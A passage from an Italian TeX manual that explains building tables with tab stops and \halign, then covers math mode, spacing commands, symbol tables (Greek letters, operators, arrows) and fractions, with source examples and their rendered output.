In tal modo si ottiene anche il risultato di avere tutte le righe della tabella della stessa altezza, quella massima, anche se il testo che contengono non lo richiederebbe.

Colore	Cifra	Cifra
nero	0	zero
marrone	1	uno
rosso	2	due
arancio	3	tre

Se si inserisce una tabella del genere in una scatola verticale, questa scatola può essere spostata facilmente in modo orizzontale, con l'istruzione '**`\moveright`**', come nell'esempio seguente, in cui la si sposta di 3 cm:

```
Paragrafo di esempio, bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla.

\moveright 3 cm \vbox{
\settabs
\+ MMMMMMMMMMMM         & MMMMM          & MMMMMMM       & \cr
\hrule
\+ \strut \hfil Colore  & \hfil Cifra    & \hfil Cifra   & \cr
\hrule
\+ \strut nero          & \hfill 0       & \hfil zero    & \cr
\+ \strut marrone       & \hfill 1       & \hfil uno     & \cr
\+ \strut \bf rosso     & \hfill 2       & \hfil due     & \cr
\+ \strut arancio       & \hfill 3       & \hfil tre     & \cr
\hrule
}
```

Tuttavia, come si vede sotto, in questo modo il testo che precede la tabella si trova a toccare la tabella stessa:

Paragrafo di esempio, bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.

Colore	Cifra	Cifra
nero	0	zero
marrone	1	uno
rosso	2	due
arancio	3	tre

Per rimediare basta aggiungere un piccolo spazio verticale, per esempio con l'istruzione '**`\vskip`**', prima della tabella.

Volendo arrivare a centrare la tabella, si può inserire la scatola verticale nella macro '**`\line`**', come nell'esempio seguente:

```
Paragrafo di esempio, bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla.\par
\vskip 1 em
\line{\hfil\vbox{
\settabs
\+ MMMMMMMMMMMM        & MMMMM         & MMMMMMM       & \cr
\hrule
\+ \strut \hfil Colore  & \hfil Cifra   & \hfil Cifra   & \cr
\hrule
\+ \strut nero          & \hfill 0      & \hfil zero    & \cr
\+ \strut marrone       & \hfill 1      & \hfil uno     & \cr
\+ \strut \bf rosso     & \hfill 2      & \hfil due     & \cr
\+ \strut arancio       & \hfill 3      & \hfil tre     & \cr
\hrule
}\hfil}
```

Si osservi l'uso dell'istruzione '**`\vskip`**' per ottenere una piccola distanza tra il testo e la tabella, come già descritto in precedenza:

Paragrafo di esempio, bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.

Colore	Cifra	Cifra
nero	0	zero
marrone	1	uno
rosso	2	due
arancio	3	tre

61.15.2 Tabelle più complesse

Attraverso l'istruzione '**`\halign`**' è possibile definire delle tabelle un po' più complesse rispetto al sistema di stop di tabulazione già presentato nella sezione precedente. L'istruzione in questione viene utilizzata sinteticamente nel modo seguente:

```
\halign{modello_delle_righe
riga
...
}
```

In particolare, il modello delle righe utilizza il simbolo '**#**' per fare riferimento al contenuto delle celle, mentre le righe hanno la forma consueta, con la differenza che manca il simbolo di controllo '**\+**' iniziale. L'esempio seguente è molto simile all'ultima tabella realizzata con l'uso degli stop di tabulazione, con tanto di centratura orizzontale:

```
Paragrafo di esempio, bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla.\par
\vskip 1 em
\line{\hfil\vbox{
\halign{
\strut #        & \hfil # & \hfil # \hfil \cr
\noalign{\hrule}
Colore          & Cifra & Cifra \cr
\noalign{\hrule}
nero            & 0     & zero  \cr
marrone         & 1     & uno   \cr
\bf rosso       & 2     & due   \cr
arancio         & 3     & tre   \cr
\noalign{\hrule}
}
}\hfil}
```

La prima cosa che si deve osservare è il fatto che '**\strut**' viene usato solo nella dichiarazione del modello delle righe; ciò è sufficiente perché sia inserito automaticamente all'inizio di tutte le righe della tabella. Si può osservare anche che non è necessario definire la larghezza delle colonne nel modello, perché questa viene determinata automaticamente in base al contenuto delle righe stesse. Infine, l'ultima colonna della tabella non si comporta diversamente dalle altre, pertanto non è più necessario il trucco della colonna finale vuota.

Paragrafo di esempio, bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.

Colore	Cifra	Cifra
nero	0	zero
marrone	1	uno
rosso	2	due
arancio	3	tre

A differenza delle tabelle realizzate per mezzo della tabulazione, quando si vuole inserire una linea orizzontale con l'istruzione '**\hrule**', occorre inserirla nell'istruzione '**\noalign**'. In pratica, con '**\noalign**' si può inserire qualcosa che riguarda tutta la riga, senza suddivisione in colonne; tuttavia, è meglio evitare di inserire testo normale, perché in tal caso verrebbe perso l'effetto dell'allineamento orizzontale introdotto con '**\line**' e '**\vbox**'.

È importante comprendere che ciò che si inserisce nel modello iniziale delle righe, viene inserito nello stesso modo all'interno delle righe. Si osservi la variante seguente:

```
\line{\hfil\vbox{
\halign{
\strut \quad \bf #      & \hfil #               & \hfil (#) \hfil \cr
\noalign{\hrule}
Colore                  & \bf Cifra \hfil       & \bf Cifra     \cr
\noalign{\hrule}
nero                    & 0                     & zero          \cr
marrone                 & 1                     & uno           \cr
rosso                   & 2                     & due           \cr
arancio                 & 3                     & tre           \cr
\noalign{\hrule}
}
}\hfil}
```

Per prima cosa, è stato aggiunto un piccolo spazio orizzontale, di un quadratone, nella prima cella, attraverso la macro '**`\quad`**'; in tal modo si evita che la prima colonna inizi esattamente sul bordo sinistro, per motivi estetici. Inoltre, si fa in modo che tutta la prima colonna appaia in neretto, senza dover intervenire in ogni cella. Nel modello dell'ultima colonna, si racchiude il riferimento alle celle tra parentesi tonde, solo a scopo dimostrativo (infatti il risultato che si ottiene non è perfetto esteticamente). Dal momento che si vuole la riga di intestazione tutta in neretto, si interviene singolarmente nella seconda e nella terza cella di questa riga; in particolare, la parola «Cifra» della seconda colonna, viene centrata, aggiungendo un '**`\hfil`**' finale, che contrasta e bilancia quanto dichiarato nel modello corrispondente.

Colore	**Cifra**	**(Cifra)**
nero	0	(zero)
marrone	1	(uno)
rosso	2	(due)
arancio	3	(tre)

Dal momento che tutto ciò che si inserisce nella riga del modello viene messo anche nelle righe della tabella, per ottenere delle linee verticali si possono usare delle istruzioni '**`\vrule`**':

```
\line{\hfil\vbox{
\halign{
\strut\vrule \quad \bf # & \vrule \hfil #  & \vrule \hfil (#) \hfil \vrule \cr
\noalign{\hrule}
Colore                   & \bf Cifra \hfil & \bf Cifra                    \cr
\noalign{\hrule}
nero                     & 0               & zero                         \cr
marrone                  & 1               & uno                          \cr
rosso                    & 2               & due                          \cr
arancio                  & 3               & tre                          \cr
\noalign{\hrule}
}
}\hfil}
```

In questo caso il risultato estetico non è ancora perfetto, ma ormai dovrebbe essere chiaro come

si può intervenire nel modello delle righe.

Colore	**Cifra**	(**Cifra**)
nero	0	(zero)
marrone	1	(uno)
rosso	2	(due)
arancio	3	(tre)

Esiste la possibilità di unire assieme più celle nella stessa riga, attraverso l'uso della macroistruzione '**\multispan{*n*}**', dove ***n*** rappresenta la quantità di colonne da unire. Tuttavia, in tal caso non viene preso in considerazione il formato stabilito nella riga di intestazione. Si osservi l'esempio seguente:

```
\line{\hfil\vbox{
\halign{
\strut\vrule \quad \bf # & \vrule \hfil #  & \vrule \hfil (#) \hfil \vrule \cr
\noalign{\hrule}
Colore                   & \bf Cifra \hfil & \bf Cifra                     \cr
\noalign{\hrule}
nero                     & 0               & zero                          \cr
marrone                  & 1               & uno                           \cr
\multispan{2} rosso                        & due                           \cr
arancio                  & 3               & tre                           \cr
\noalign{\hrule}
}
}\hfil}
```

Come si vede sotto, il contenuto della cella allargata appare centrato nello spazio che si ritrova ad avere a disposizione, ma ciò è ottenuto con uno spazio leggermente elastico, contrastabile facilmente.

Colore	**Cifra**	(**Cifra**)
nero	0	(zero)
marrone	1	(uno)
rosso		(due)
arancio	3	(tre)

Per sistemare l'allineamento, ripristinare il neretto e la linea verticale alla sinistra, basta intervenire nella cella; in particolare è sufficiente uno spazio con una piccola elasticità per contrastare l'allineamento normale al centro:

```
\line{\hfil\vbox{
\halign{
\strut\vrule \quad \bf # & \vrule \hfil #  & \vrule \hfil (#) \hfil \vrule \cr
\noalign{\hrule}
Colore                   & \bf Cifra \hfil & \bf Cifra                     \cr
\noalign{\hrule}
nero                     & 0               & zero                          \cr
marrone                  & 1               & uno                           \cr
\multispan{2}\vrule\quad\bf rosso scuro \hfil    & due                     \cr
arancio                  & 3               & tre                           \cr
\noalign{\hrule}
}
}\hfil}
```

Colore	Cifra	(Cifra)
nero	0	(zero)
marrone	1	(uno)
rosso scuro		(due)
arancio	3	(tre)

Per evitare che in una cella venga inserito tutto ciò che appare nel modello delle righe, basta usare l'istruzione '**`\omit`**'. Si osservi l'esempio, in cui si risolve il problema delle parentesi tonde attorno al titolo dell'ultima colonna:

```
\line{\hfil\vbox{
\halign{
\strut\vrule \quad \bf # & \vrule \hfil #  & \vrule \hfil (#) \hfil \vrule \cr
\noalign{\hrule}
Colore              &\bf Cifra\hfil &\omit\vrule\hfil\bf Cifra\hfil\vrule\cr
\noalign{\hrule}
nero                   & 0              & zero                          \cr
marrone                & 1              & uno                           \cr
rosso                  & 2              & due                           \cr
arancio                & 3              & tre                           \cr
\noalign{\hrule}
}
}\hfil}
```

Colore	Cifra	Cifra
nero	0	(zero)
marrone	1	(uno)
rosso	2	(due)
arancio	3	(tre)

Prima di concludere l'argomento, occorre fare presente la possibilità che TeX allunghi il testo verticalmente in fase di composizione. Se ciò accade nell'ambito di una tabella nella quale si utilizza '**`\vrule`**' per ottenere delle linee verticali, si rischia di vedere queste linee spezzettate. Per evitare che nell'ambito della tabella TeX possa fare degli allungamenti, si può usare la macro '**`\offinterlineskip`**' dentro la scatola verticale:

```
\line{\hfil\vbox{\offinterlineskip
\halign{
\strut\vrule \quad \bf # & \vrule \hfil #  & \vrule \hfil (#) \hfil \vrule \cr
\noalign{\hrule}
Colore              &\bf Cifra\hfil &\omit\vrule\hfil\bf Cifra\hfil\vrule\cr
\noalign{\hrule}
nero                   & 0              & zero                          \cr
marrone                & 1              & uno                           \cr
rosso                  & 2              & due                           \cr
arancio                & 3              & tre                           \cr
\noalign{\hrule}
}
}\hfil}
```

61.16 Ambienti matematici

Come già accennato, TeX distingue tra due modalità di funzionamento: un contesto normale e un contesto matematico. L'ambiente matematico si introduce e si conclude con il simbolo '**$**' e in tale situazione diventano disponibili delle istruzioni che non si possono utilizzare al di fuori di questo ambito, mentre alcune istruzioni dell'ambiente normale non lo sono più.

Anche se nelle sezioni successive si fa riferimento soltanto all'ambiente matematico, nelle tabelle riassuntive mostrate, le sequenze di controllo che possono essere usate solo nell'ambiente matematico appaiono delimitate sempre tra una coppia di '**$**', in modo da evidenziare il contesto del loro utilizzo ed evitare confusione.

61.16.1 Due situazioni differenti

Esistono due modi di mostrare un'informazione matematica: all'interno di testo normale, oppure in un blocco a parte. Quando si inserisce l'informazione dentro del testo normale, si delimita l'ambiente matematico tra due simboli '**$**', per esempio nel modo seguente:

```
Se $R$ \`e il ritardo di ogni singola consegna, $T$
\`e il tempo a disposizione per la consegna, $I$ \`e il valore
della merce, il ritardo medio si esprime come
${\sum {R \over T} \cdot I}\over{\sum I}$.
```

In tal caso, come si vede dal risultato della composizione, il testo ne risente, in particolare per lo spazio tra le righe che può essere aumentato.

Se R è il ritardo di ogni singola consegna, T è il tempo a disposizione per la consegna, I è il valore della merce, il ritardo medio si esprime come ${\sum {R \over T} \cdot I}\over{\sum I}$.

In alternativa, le formule possono essere messe in un blocco separato, come nell'esempio seguente:

```
Se $R$ \`e il ritardo di ogni singola consegna, $T$ \`e il tempo a
disposizione per la consegna, $I$ \`e il valore della merce, il ritardo
medio si esprime secondo la formula seguente:\par
$${\sum {R \over T} \cdot I}\over{\sum I}$$
```

L'effetto è quello di ottenerle al centro della giustezza, con una spaziatura verticale adeguata rispetto al testo che precede e che segue.

Se R è il ritardo di ogni singola consegna, T è il tempo a disposizione per la consegna, I è il valore della merce, il ritardo medio si esprime secondo la formula seguente:

$$\frac{\sum \frac{R}{T} \cdot I}{\sum I}$$

Negli esempi è stato mostrato l'uso dell'ambiente matematico anche per delimitare i nomi delle variabili. Ciò permette di mantenere coerenza con la forma mostrata nelle formule.

Ciò che viene delimitato in una coppia di '**$**' o di '**$$**', non può essere suddiviso in «righe» differenti (tranne il caso di forme tabellari particolari, come le matrici o i sistemi di equazioni), al contrario di quanto avviene per la composizione del testo normale; inoltre, il sorgente non può contenere righe vuote o bianche. In pratica si tratta di un blocco orizzontale compatto e indivisibile.

61.17 Spazi orizzontali

Si osservi subito l'esempio seguente, in cui si scrive la parola «affittare» all'interno di un ambiente matematico, prima in modo normale, quindi spaziando le lettere:

```
$affittare$\par
$a     f     f     i     t  t  a  r  e$\par
```

Come si può osservare dalla composizione che si ottiene, il risultato è esattamente lo stesso. In pratica non viene più preso in considerazione il legato tipografico e gli spazi sono ignorati completamente:

$$affittare$$
$$affittare$$

Per inserire degli spazi in un ambiente matematico, l'unico modo è quello di usare sequenze di controllo specifiche, che possano essere accettate anche in questo ambiente. La tabella 61.245 riepiloga le sequenze di controllo che possono essere usate in un ambiente matematico per ottenere degli spazi orizzontali. Alcune di queste sequenze sono valide solo in un ambito matematico, pertanto appaiono circoscritte da una coppia di '**$**', in modo da sottolineare questa loro caratteristica.

Tabella 61.245. Sequenze di controllo per ottenere delle spaziature orizzontali in ambito matematico.

Sequenza	Significato
`\qquad`	Due quadratoni.
`\quad`	Un quadratone.
`\`<*SP*>	Uno spazio «normale».
`$\;$`	Uno spazio spesso (5/8 di quadratone).
`$\>$`	Uno spazio medio (2/9 di quadratone).
`$\.$`	Uno spazio molto sottile (1/6 di quadratone).
`$\!$`	Uno spazio negativo (−1/6 di quadratone).

Per inserire del testo descrittivo all'interno di un ambiente matematico, lo si può delimitare in una scatola orizzontale, con l'istruzione '**\hbox**'. Si osservi l'esempio:

```
$prima durante e dopo$\par
$prima \hbox{ durante } e dopo$\par
```

In questo caso, si vuole isolare e spaziare la parola «durante» rispetto al resto, mostrandola con caratteri normali.

$primaduranteedopo$
$prima$ durante $edopo$

61.17.1 Caratteri e simboli

Nell'ambiente matematico, il testo normale viene composto utilizzando un insieme di caratteri differente rispetto a quello normale, in cui anche la forma è particolare, essendo un tipo speciale di corsivo (si ottiene eventualmente con la macro '**\mit**'). Inoltre, sono disponibili dei simboli aggiuntivi, in particolare le lettere greche e altri simboli utili in matematica.

Tra le lettere greche, alcune si ottengono come caratteri dell'insieme normale. Nelle tabelle, quando si vuole sottolineare il fatto che si tratta di lettere scritte utilizzando il carattere tondo normale, si mostra un'istruzione del tipo '**\hbox{\rm** *x***}**', che rappresenta il codice necessario all'inserimento in un ambiente matematico.

Tabella 61.248. Accenti nell'ambiente matematico.

Simbolo	Codice	Annotazioni
$\acute o$	$\acute o$	Accento acuto matematico.
$\grave o$	$\grave o$	Accento grave matematico.
$\hat o$	$\hat o$	Accento circonflesso matematico.
$\ddot o$	$\ddot o$	
$\tilde o$	$\tilde o$	
$\bar o$	$\bar o$	
$\dot o$	$\dot o$	
$\breve o$	$\breve o$	
$\check o$	$\check o$	
$\vec o$	$\vec o$	
$\imath$	$\imath$	Da usare per aggiungere un accento.
$\jmath$	$\jmath$	Da usare per aggiungere un accento.
$\widehat{abc}$	$\widehat{abc}$	
$\widetilde{abc}$	$\widetilde{abc}$	

Tabella 61.249. Lettere greche.

Simbolo	Codice	Simbolo	Codice	Simbolo	Codice	Nome
α	`$\alpha$`			A	`\hbox{\rm A}`	Alfa
β	`$\beta$`			B	`\hbox{\rm B}`	Beta
γ	`$\gamma$`			Γ	`$\Gamma$`	Gamma
δ	`$\delta$`			Δ	`$\Delta$`	Delta
ϵ	`$\epsilon$`	ε	`$\varepsilon$`	E	`\hbox{\rm E}`	Epsilon
ζ	`$\zeta$`			Z	`\hbox{\rm Z}`	Zeta
η	`$\eta$`			H	`\hbox{\rm H}`	Eta
θ	`$\theta$`	ϑ	`$\vartheta$`	Θ	`$\Theta$`	Theta
ι	`$\iota$`			I	`\hbox{\rm I}`	Iota
κ	`$\kappa$`			K	`\hbox{\rm K}`	Kappa
λ	`$\lambda$`			Λ	`$\Lambda$`	Lambda
μ	`$\mu$`			M	`\hbox{\rm M}`	Mu
ν	`$\nu$`			N	`\hbox{\rm N}`	Nu
ξ	`$\xi$`			Ξ	`$\Xi$`	Xi
o	`\hbox{\rm o}`	o	`$o$`	O	`\hbox{\rm O}`	Omicron
π	`$\pi$`	ϖ	`$\varpi$`	Π	`$\Pi$`	Pi
ρ	`$\rho$`	ϱ	`$\varrho$`	P	`\hbox{\rm P}`	Rho
σ	`$\sigma$`	ς	`$\varsigma$`	Σ	`$\Sigma$`	Sigma
τ	`$\tau$`			T	`\hbox{\rm T}`	Tau
υ	`$\upsilon$`			Υ	`$\Upsilon$`	Upsilon
ϕ	`$\phi$`	φ	`$\varphi$`	Φ	`$\Phi$`	Phi
χ	`$\chi$`			X	`\hbox{\rm X}`	Chi
ψ	`$\psi$`			Ψ	`$\Psi$`	Psi
ω	`$\omega$`			Ω	`$\Omega$`	Omega

Tabella 61.250. Simboli matematici comuni.

<table>
<tr><th>Simbolo</th><th>Codice</th><th>Annotazioni</th></tr>
<tr><td>$\backslash$</td><td>$\backslash$</td><td>Barra obliqua inversa.</td></tr>
<tr><td>$\aleph$</td><td>$\aleph$</td><td></td></tr>
<tr><td>$\hbar$</td><td>$\hbar$</td><td></td></tr>
<tr><td>ℓ</td><td>ℓ</td><td></td></tr>
<tr><td>$\wp$</td><td>$\wp$</td><td></td></tr>
<tr><td>$\Re$</td><td>$\Re$</td><td></td></tr>
<tr><td>$\Im$</td><td>$\Im$</td><td></td></tr>
<tr><td>∂</td><td>∂</td><td>Derivata parziale.</td></tr>
<tr><td>∞</td><td>∞</td><td>Infinito.</td></tr>
<tr><td>$\prime$</td><td>$\prime$</td><td>Primo.</td></tr>
<tr><td>$'$</td><td>$'$</td><td></td></tr>
<tr><td>$\emptyset$</td><td>$\emptyset$</td><td></td></tr>
<tr><td>∇</td><td>∇</td><td></td></tr>
<tr><td>$\top$</td><td>$\top$</td><td></td></tr>
<tr><td>$\bot$</td><td>$\bot$</td><td></td></tr>
<tr><td>$|$</td><td>$|$</td><td></td></tr>
<tr><td>$\vert$</td><td>$\vert$</td><td>Equivalente a $|$.</td></tr>
<tr><td>$\|$</td><td>$\|$</td><td></td></tr>
<tr><td>$\Vert$</td><td>$\vert$</td><td>Equivalente a $\|$.</td></tr>
<tr><td>$\angle$</td><td>$\alngle$</td><td></td></tr>
<tr><td>$\triangle$</td><td>$\triangle$</td><td></td></tr>
<tr><td>$\forall$</td><td>$\forall$</td><td></td></tr>
<tr><td>$\exists$</td><td>$\exists$</td><td></td></tr>
<tr><td>$\neg$</td><td>$\neg$</td><td></td></tr>
<tr><td>$\flat$</td><td>$\flat$</td><td></td></tr>
<tr><td>$\natural$</td><td>$\natural$</td><td></td></tr>
<tr><td>$\sharp$</td><td>$\sharp$</td><td></td></tr>
<tr><td>$\surd$</td><td>$\surd$</td><td>Radice senza la linea superiore.</td></tr>
<tr><td>$\clubsuit$</td><td>$\clubsuit$</td><td>Fiori.</td></tr>
<tr><td>$\diamondsuit$</td><td>$\diamondsuit$</td><td>Quadri.</td></tr>
<tr><td>$\heartsuit$</td><td>$\heartsuit$</td><td>Cuori.</td></tr>
<tr><td>$\spadesuit$</td><td>$\spadesuit$</td><td>Picche.</td></tr>
</table>

Tabella 61.251. Operatori binari comuni.

Simbolo	Codice	Annotazioni
$\pm$	`$\pm$`	Più o meno.
$\mp$	`$\mp$`	Meno o più.
$\cdot$	`$\cdot$`	
$\setminus$	`$\setminus$`	
$+$	`$+$`	Somma.
$-$	`$-$`	Sottrazione.
$\times$	`$\times$`	Moltiplicazione.
$\div$	`$\div$`	Divisione.
	`$\*$`	Moltiplicazione discrezionale.
$\ast$	`$\ast$`	Asterisco.
$\star$	`$\star$`	Stella.
$\diamond$	`$\diamond$`	
$\circ$	`$\circ$`	
$\bullet$	`$\bullet$`	
$\cap$	`$\cap$`	Intersezione.
$\cup$	`$\cup$`	Unione.
$\uplus$	`$\uplus$`	
$\sqcap$	`$\sqcap$`	
$\sqcup$	`$\sqcup$`	
$\triangleleft$	`$\triangleleft$`	
$\triangleright$	`$\triangleright$`	
$\wr$	`$\wr$`	
$\bigcirc$	`$\bigcirc$`	
$\bigtriangleup$	`$\bigtriangleup$`	
$\bigtriangledown$	`$\bigtriangledown$`	
$\vee$	`$\vee$`	
$\lor$	`$\lor$`	OR logico (uguale a `$\vee$`).
$\wedge$	`$\wedge$`	
$\land$	`$\land$`	AND logico (uguale a `$\wedge$`).
$\oplus$	`$\oplus$`	
$\ominus$	`$\ominus$`	
$\otimes$	`$\otimes$`	
$\oslash$	`$\oslash$`	
$\odot$	`$\odot$`	
$\dagger$	`$\dagger$`	
$\ddagger$	`$\ddagger$`	
$\amalg$	`$\amalg$`	

Tabella 61.252. Operatori di relazione.

Simbolo	Codice	Simbolo	Codice
$=$	`$=$`	$\not=$	`$\not =$`
		$\neq$	`$\neq$`
		$\ne$	`$\ne$`
$\equiv$	`$\equiv$`	$\not\equiv$	`$\not \equiv$`
$\sim$	`$\sim$`	$\not\sim$	`$\not \sim$`
$\simeq$	`$\simeq$`	$\not\simeq$	`$\not \simeq$`
$\approx$	`$\approx$`	$\not\approx$	`$\not \approx$`
$\cong$	`$\cong$`	$\not\cong$	`$\not \cong$`
$\asymp$	`$\asymp$`	$\not\asymp$	`$\not \asymp$`
$\bowtie$	`$\bowtie$`		
$\doteq$	`$\doteq$`		
$\parallel$	`$\parallel$`		
$\perp$	`$\perp$`	$\not\perp$	`$\not \perp$`
$<$	`$<$`	$\not<$	`$\not <$`
$\leq$	`$\leq$`	$\not\leq$	`$\not \leq$`
$\le$	`$\le$`	$\not\le$	`$\not \le$`
$>$	`$>$`	$\not>$	`$\not >$`
$\geq$	`$\geq$`	$\not\geq$	`$\not \geq$`
$\ge$	`$\ge$`	$\not\ge$	`$\not \ge$`
$\prec$	`$\prec$`	$\not\prec$	`$\not \prec$`
$\preceq$	`$\preceq$`	$\not\preceq$	`$\not \preceq$`
$\succ$	`$\succ$`	$\not\succ$	`$\not \succ$`
$\succeq$	`$\succeq$`	$\not\succeq$	`$\not \succeq$`
$\ll$	`$\ll$`		
$\gg$	`$\gg$`		
$\subset$	`$\subset$`	$\not\subset$	`$\not \subset$`
$\subseteq$	`$\subseteq$`	$\not\subseteq$	`$\not \subseteq$`
$\supset$	`$\supset$`	$\not\supset$	`$\not \supset$`
$\supseteq$	`$\supseteq$`	$\not\supseteq$	`$\not \supseteq$`
$\sqsubseteq$	`$\sqsubseteq$`	$\not\sqsubseteq$	`$\not \sqsubseteq$`
$\sqsupseteq$	`$\sqsupseteq$`	$\not\sqsupseteq$	`$\not \sqsupseteq$`
$\mid$	`$\mid$`		
$\smile$	`$\smile$`		
$\frown$	`$\frown$`		
$\in$	`$\in$`	$\not\in$	`$\not \in$`
$\ni$	`$\ni$`	$\not\ni$	`$\not \ni$`
$\owns$	`$\owns$`	$\not\owns$	`$\not \owns$`
$\vdash$	`$\vdash$`		
$\dashv$	`$\dashv$`		
$\models$	`$\models$`		
$\propto$	`$\propto$`		

Tabella 61.253. Frecce.

Simbolo	Codice	Simbolo	Codice
$\leftarrow$	`$\leftarrow$`	$\rightarrow$	`$\rightarrow$`
$\gets$	`$\gets$`	$\to$	`$\to$`
$\Leftarrow$	`$\Leftarrow$`	$\Rightarrow$	`$\Rightarrow$`
$\longleftarrow$	`$\longleftarrow$`	$\longrightarrow$	`$\longrightarrow$`
$\Longleftarrow$	`$\Longleftarrow$`	$\Longrightarrow$	`$\Longrightarrow$`
$\hookleftarrow$	`$\hookleftarrow$`	$\hookrightarrow$	`$\hookrightarrow$`
$\leftharpoonup$	`$\leftharpoonup$`	$\rightharpoonup$	`$\rightharpoonup$`
$\leftharpoondown$	`$\leftharpoondown$`	$\rightharpoondown$	`$\rightharpoondown$`
$\rightleftharpoons$	`$\rightleftharpoons$`		
$\iff$	`$\iff$`		
$\mapsto$	`$\mapsto$`		
$\longmapsto$	`$\longmapsto$`		
$\leftrightarrow$	`$\leftrightarrow$`	$\Leftrightarrow$	`$\Leftrightarrow$`
$\longleftrightarrow$	`$\longleftrightarrow$`	$\Longleftrightarrow$	`$\Longleftrightarrow$`
$\uparrow$	`$\uparrow$`	$\downarrow$	`$\downarrow$`
$\Uparrow$	`$\Uparrow$`	$\Downarrow$	`$\Downarrow$`
$\updownarrow$	`$\updownarrow$`	$\Updownarrow$	`$\Updownarrow$`
$\nwarrow$	`$\nwarrow$`	$\nearrow$	`$\nearrow$`
$\swarrow$	`$\swarrow$`	$\searrow$	`$\searrow$`
$\overleftarrow{ab}$	`$\overleftarrow {ab}$`	$\overrightarrow{ab}$	`$\overrightarrow {ab}$`
$\vec{ab}$	`$\vec {ab}$`		

Tabella 61.254. Ellissi.

Simbolo	Codice	Annotazioni
$\cdots$	`$\cdots$`	Ellissi orizzontale al centro.
$\ldots$	`$\ldots$`	Ellissi orizzontale in basso.
$\vdots$	`$\vdots$`	Ellissi verticale.
$\ddots$	`$\ddots$`	Ellissi diagonale.

Tabella 61.255. Altri simboli matematici.

Simbolo	Codice	Annotazioni
$\sum$	`$\sum$`	Sommatoria.
$\prod$	`$\prod$`	
$\coprod$	`$\coprod$`	
$\int$	`$\int$`	Integrale.
$\oint$	`$\oint$`	
$\bigcap$	`$\bigcap$`	Intersezione.
$\bigcup$	`$\bigcup$`	Unione.
$\bigsqcup$	`$\bigsqcup$`	
$\bigvee$	`$\bigvee$`	
$\bigwedge$	`$\bigwedge$`	
$\bigoplus$	`$\bigoplus$`	
$\biguplus$	`$\biguplus$`	
$\bigotimes$	`$\bigotimes$`	
$\bigodot$	`$\bigodot$`	

Eventualmente, è possibile modificare in modo sistematico il tipo di carattere da usare negli ambienti matematici. Si usano per questo due istruzioni alternative:

```
\everymath={macro_alternativa}
```

```
\everydisplay={macro_alternativa}
```

La prima si riferisce agli ambienti matematici inclusi nel testo normale, mentre la seconda riguarda gli ambienti che creano un blocco separato dal testo.

La macro alternativa a cui si fa riferimento può essere quella che definisce il tipo di carattere da usare. Si osservi l'esempio seguente:

```
\everymath={\bf}
\everydisplay={\rm}
la funzione $f(x)$ bla bla bla:
$$y = {{x^2}\over 2}$$
```

Si può vedere nel risultato seguente che nel testo normale si ottiene, mentre nel blocco separato si ha un tondo normale:

la funzione $\mathbf{f}(\mathbf{x})$ bla bla bla:

$$\mathrm{y} = \frac{\mathrm{x}^2}{2}$$

61.17.2 Dimensione del testo matematico

Il testo matematico, ovvero i simboli che si usano per le espressioni matematiche, viene dimensionato in modo automatico, salvo l'uso diretto di alcune istruzioni apposite. Le istruzioni sono nell'ordine: '**`\displaystyle`**', '**`\textstyle`**', '**`\scriptstyle`**' e '**`\scriptscriptstyle`**'. La prima rappresenta la dimensione più grande, mentre l'ultima genera il carattere più piccolo.

Anche se in condizioni normali non è necessario il controllo diretto della dimensione del testo matematico, è bene conoscere questa possibilità che può rivelarsi utile in presenza di formule particolarmente complesse in cui alcune parti rischiano di diventare troppo piccole per la lettura.

A titolo di esempio viene mostrata una frazione piuttosto articolata, in due modi differenti, anche se le frazioni vengono descritte in un'altra sezione:

```
$$x+{y\over x+{y\over x+{y\over x+{y\over x+{y\over z}}}}}$$\par
$$x+{y\over \displaystyle x+{y\over \displaystyle x+{y\over \displaystyle
x+{y\over \displaystyle x+{y\over z}}}}}$$\par
```

$$x+{y\over x+{y\over x+{y\over x+{y\over x+{y\over z}}}}}$$

$$x+{y\over \displaystyle x+{y\over \displaystyle x+{y\over \displaystyle x+{y\over \displaystyle x+{y\over z}}}}}$$

Esiste la possibilità di usare '**\strut**', anche nell'ambito matematico, ma questo non previene la riduzione della dimensione dei caratteri. Viene mostrato lo stesso esempio in cui si controlla lo spazio verticale disponibile con l'aiuto di '**\strut**':

```
\hsize=14cm
$$x+{y\over \strut x+{y\over \strut x+{y\over \strut
x+{y\over \strut x+{y\over z}}}}}$$\par
```

$$x+{y\over \strut x+{y\over \strut x+{y\over \strut x+{y\over \strut x+{y\over z}}}}}$$

61.17.3 Punteggiatura

Dal momento che nell'ambiente matematico non si tiene conto degli spazi inseriti nel testo, lo spazio attorno ai segni di punteggiatura è gestito automaticamente. Si può osservare l'esempio seguente:

```
$123456.7890$\par
$123456,7890$\par
$123456:7890$\par
$123456;7890$\par
$123456{,}7890$\par
```

Come si può intuire, se si vuole usare la virgola come separatore della parte intera da quella rimanente, occorre delimitarla in un gruppo a sé stante, per evitare che gli sia aggiunto uno spazio superfluo alla sua destra.

123456.7890
$123456,7890$
$123456:7890$
$123456;7890$
$123456{,}7890$

Un discorso particolare va fatto per i due punti, che possono servire per indicare una divisione, oppure un assegnamento. Si osservi l'esempio seguente in cui si riprende un pezzo di quanto già mostrato:

```
$123456:7890$\par
$123456:=7890$\par
$123456\colon 7890$\par
```

In pratica, per ottenere i due punti «normali», a cui segue un po' di spazio, si deve usare l'istruzione '**\colon**'.

$123456:7890$
$123456:=7890$
$123456\colon 7890$

61.17.4 Frazioni e simili

Le frazioni si indicano solitamente in uno dei due modi seguenti:

```
numeratore / denominatore
```

```
numeratore \over denominatore
```

Il secondo modo è quello più gradevole esteticamente. È importante osservare che l'istruzione '**\over**' interviene su tutto il gruppo in cui è contenuta. Si osservino gli esempi seguenti:

- ```
  $${x+y \over z}$$
  ```

  $${x+y \over z}$$

- ```
  $${x \over y+z}$$
  ```

